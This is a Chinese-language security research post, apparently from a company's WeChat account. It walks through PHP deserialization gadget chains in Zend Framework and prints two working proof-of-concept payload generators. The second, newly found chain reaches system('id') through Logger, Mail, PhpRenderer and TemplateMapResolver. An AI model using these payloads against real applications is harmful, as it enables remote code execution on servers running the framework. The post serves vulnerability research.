Zend Framework 3.1.3 gadget chain

  • A+
所属分类:安全文章

Zend Framework 3.1.3 gadget chain

01

Zend Framework 3.1.3 gadget chain

前言

Preface

最近推特上的PT SWARM账号发布了一条消息:

Zend Framework 3.1.3 gadget chain

一个名为Zend Framework的php框架出现了新的gadget chain

(https://gist.githubusercontent.com/YDyachenko/6f60709ce0fc346d0cc0252e07c6aa38/raw/21beb2b68353b4be9e77f2602e1f18e8f9e23c81/zf1-gc.php),可导致RCE。我尝试去复现,但是失败了,不过我基于此链,又发现在这个框架最新版本中的另一条链,下面我就把整个过程给大家分享一下。


02

Zend Framework 3.1.3 gadget chain

复现过程

Reproduce

这里我使用的是vscode的ssh链接Ubuntu虚拟机,Ubuntu虚拟机内开有php7.2 + nginx + xdebug的docker环境。使用composer安装框架。


为了偷懒,我直接使用官方提供的MVC骨架,安装指令:

composer create-project zendframework/skeleton-application path/to/install


根据下链,有一些包这个骨架还没安装,所以还需要使用composer require安装:

composer require zendframework/zend-filtercomposer require zendframework/zend-logcomposer require zendframework/zend-mail

这里是我复现用的打包文件:zend.zip
https://share.weiyun.com/yMkwxNer),解压使用docker-compose up -d即可。


需要注意的是,ZF框架已经停止维护了。这是一个相当有年头的框架了,我估计不会发cve,要不然也不会公布...

gadget chain大概长这样

<?php
class Zend_Log{ protected $_writers;
function __construct($x){ $this->_writers = $x; }}
class Zend_Log_Writer_Mail{ protected $_eventsToMail; protected $_layoutEventsToMail; protected $_mail; protected $_layout; protected $_subjectPrependText;
public function __construct( $eventsToMail, $layoutEventsToMail, $mail, $layout ) { $this->_eventsToMail = $eventsToMail; $this->_layoutEventsToMail = $layoutEventsToMail; $this->_mail = $mail; $this->_layout = $layout; $this->_subjectPrependText = null; }}
class Zend_Mail{}
class Zend_Layout{ protected $_inflector; protected $_inflectorEnabled; protected $_layout;
public function __construct( $inflector, $inflectorEnabled, $layout ) { $this->_inflector = $inflector; $this->_inflectorEnabled = $inflectorEnabled; $this->_layout = '){}' . $layout . '/*'; }}
class Zend_Filter_Callback{ protected $_callback = "create_function"; protected $_options = [""];}
class Zend_Filter_Inflector{ protected $_rules = [];
public function __construct(){ $this->_rules['script'] = [new Zend_Filter_Callback()]; }}

$code = "phpinfo();exit;";
$a = new Zend_Log( [new Zend_Log_Writer_Mail( [1], [], new Zend_Mail, new Zend_Layout( new Zend_Filter_Inflector(), true, $code ) )]);
echo urlencode(serialize(['test' => $a]));

但是当我把序列化数据打进去后,发现这些类都变成了匿名类,简言之,就是ClassLoader没有找到这些类,这就很奇怪了。之后才发现,这些类的命名使用的是psr-0的规范,这个规范是放在以前php没有命名空间的时候使用的,早就过时了,现在是psr-4。composer默认也是按照psr-4的规范安装的。


也就是说,这个链的可利用版本大致是相当古老的了。


我尝试安装更老旧版本的ZF框架,果然,老版本框架要求php版本在5.3以下......于是我毅然地决定:放弃安装。


03

Zend Framework 3.1.3 gadget chain

新链发现

New chain 

然后我又开始尝试将上面poc的代码转换为psr-4规范,发现有一些类还存在,有一些类则完全不在了,例如Zend_Layout类在ZF包的新版本中就没有。


我尝试利用现有的类进行测试,最终在上链基础上找到了新版本的链。

namespace ZendLog {    class Logger    {        protected $writers;
function __construct(){ $this->writers = [new ZendLogWriterMail()]; } }}
namespace ZendLogWriter { class Mail { protected $mail; protected $eventsToMail; protected $subjectPrependText;
function __construct(){ $this->mail = new ZendViewRendererPhpRenderer(); $this->eventsToMail = ["id"]; $this->subjectPrependText = null; } }}
namespace ZendViewRenderer { class PhpRenderer { private $__helpers;
function __construct(){ $this->__helpers = new ZendViewResolverTemplateMapResolver(); } }}
namespace ZendViewResolver { class TemplateMapResolver { protected $map;
function __construct(){ $this->map = [ "setBody" => "system", ]; } }}
namespace { $payload = new ZendLogLogger(); echo urlencode(serialize($payload));}
/*OUTPUT: uid=33(www-data) gid=33(www-data) groups=33(www-data)*/

对此链进行调试


04

Zend Framework 3.1.3 gadget chain

调试

Debug

// ZendLogLoggerpublic function __destruct(){    foreach ($this->writers as $writer) {        try {            $writer->shutdown();        } catch (Exception $e) {        }    }}

这个起点是ZendLogLogger类的__destruct方法,这其实就是复现的那条链的Zend_Log类,新版本改名为了这个。


可以看到,这里调用了一个变量$writershutdown方法。那么接下来就有两个思路。

1、$writer设为没有shutdown方法的实例,调用其__call方法

2、$writer设为有shutdown方法的实例,调用其shutdown方法


我这里找到ZendLogWriterMail类有shutdown方法,同时找到了一个比较好用的__call方法。

public function shutdown(){    if (empty($this->eventsToMail)) {        return;    }
if ($this->subjectPrependText !== null) { $numEntries = $this->getFormattedNumEntriesPerPriority(); $this->mail->setSubject("{$this->subjectPrependText} ({$numEntries})"); }
$this->mail->setBody(implode(PHP_EOL, $this->eventsToMail));
try { $this->transport->send($this->mail); } catch (TransportExceptionExceptionInterface $e) { trigger_error( "unable to send log entries via email; " . "message = {$e->getMessage()}; " . "code = {$e->getCode()}; " . "exception class = " . get_class($e), E_USER_WARNING ); }}

这个方法调用了很多其它的方法,一开始没什么思路,再看看刚才说的__call方法。

// ZendViewRendererPhpRendererpublic function __call($method, $argv){    $plugin = $this->plugin($method);
if (is_callable($plugin)) { return call_user_func_array($plugin, $argv); }
return $plugin;}

可以看到,call_user_func_array并没有去限制类,我们通常会这么写call_user_func_array([$this, $method], $argv以防止调用类外方法。这里可能会导致RCE,跟入plugin方法

public function getHelperPluginManager(){    if (null === $this->__helpers) {        $this->setHelperPluginManager(new HelperPluginManager(new ServiceManager()));    }    return $this->__helpers;}

public function plugin($name, array $options = null){ return $this->getHelperPluginManager()->get($name, $options);}

首先调用getHelperPluginManager方法,其返回值可以被控制。问题就是接下来的get方法了。这里找到一个好用的get方法。

// ZendViewResolverTemplateMapResolverpublic function has($name){    return array_key_exists($name, $this->map);}
public function get($name){ if (! $this->has($name)) { return false; } return $this->map[$name];}

ZendViewResolverTemplateMapResolver类中的get方法明显是可以控制返回值的。那么之前plugin的返回值也就可以随心所欲了。之后调用__call方法里的call_user_func_array的第一个参数就随便我们控制了。


还有个问题就是call_user_func_array的第二个参数无法被控制。这时我想起了之前的shutdown方法。

public function shutdown(){    if (empty($this->eventsToMail)) {        return;    }
if ($this->subjectPrependText !== null) { $numEntries = $this->getFormattedNumEntriesPerPriority(); $this->mail->setSubject("{$this->subjectPrependText} ({$numEntries})"); }
/* 注意这一句 */ $this->mail->setBody(implode(PHP_EOL, $this->eventsToMail));
try { $this->transport->send($this->mail); } catch (TransportExceptionExceptionInterface $e) { trigger_error( "unable to send log entries via email; " . "message = {$e->getMessage()}; " . "code = {$e->getCode()}; " . "exception class = " . get_class($e), E_USER_WARNING ); }}

为了让终点的call_user_func_array的第二个参数有值。需要之前调用不存在方法的时候有参数。很明显,上面shutdown方法里有这么一句符合我们要求。

$this->mail->setBody(implode(PHP_EOL,$this->eventsToMail))

首先可以调用__call方法,然后$this->eventsToMail经过implode函数可控。很明显,这个方法的参数可控,直接芜湖。


调用堆栈:

Zend Framework 3.1.3 gadget chain


05

Zend Framework 3.1.3 gadget chain

心得

Summarize

可以看到,上面这样一条gadget链的寻找并没有那么困难。关键便是抓住php本身的特性,才能运用得灵活自如。

Zend Framework 3.1.3 gadget chain


往期精彩

技术文章分享 | 在CTF中享受扫雷的快乐
对 Linux 内核中的 eBPF JIT 漏洞进行 fuzz(译)
清华三创大赛|星阑科技荣获TMT/AI赛道第一名
星阑科技CEO王郁斩获中关村U30年度优胜

Zend Framework 3.1.3 gadget chain

星阑科技

微信号|StarCrossCN

本文始发于微信公众号(星阑科技):Zend Framework 3.1.3 gadget chain

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: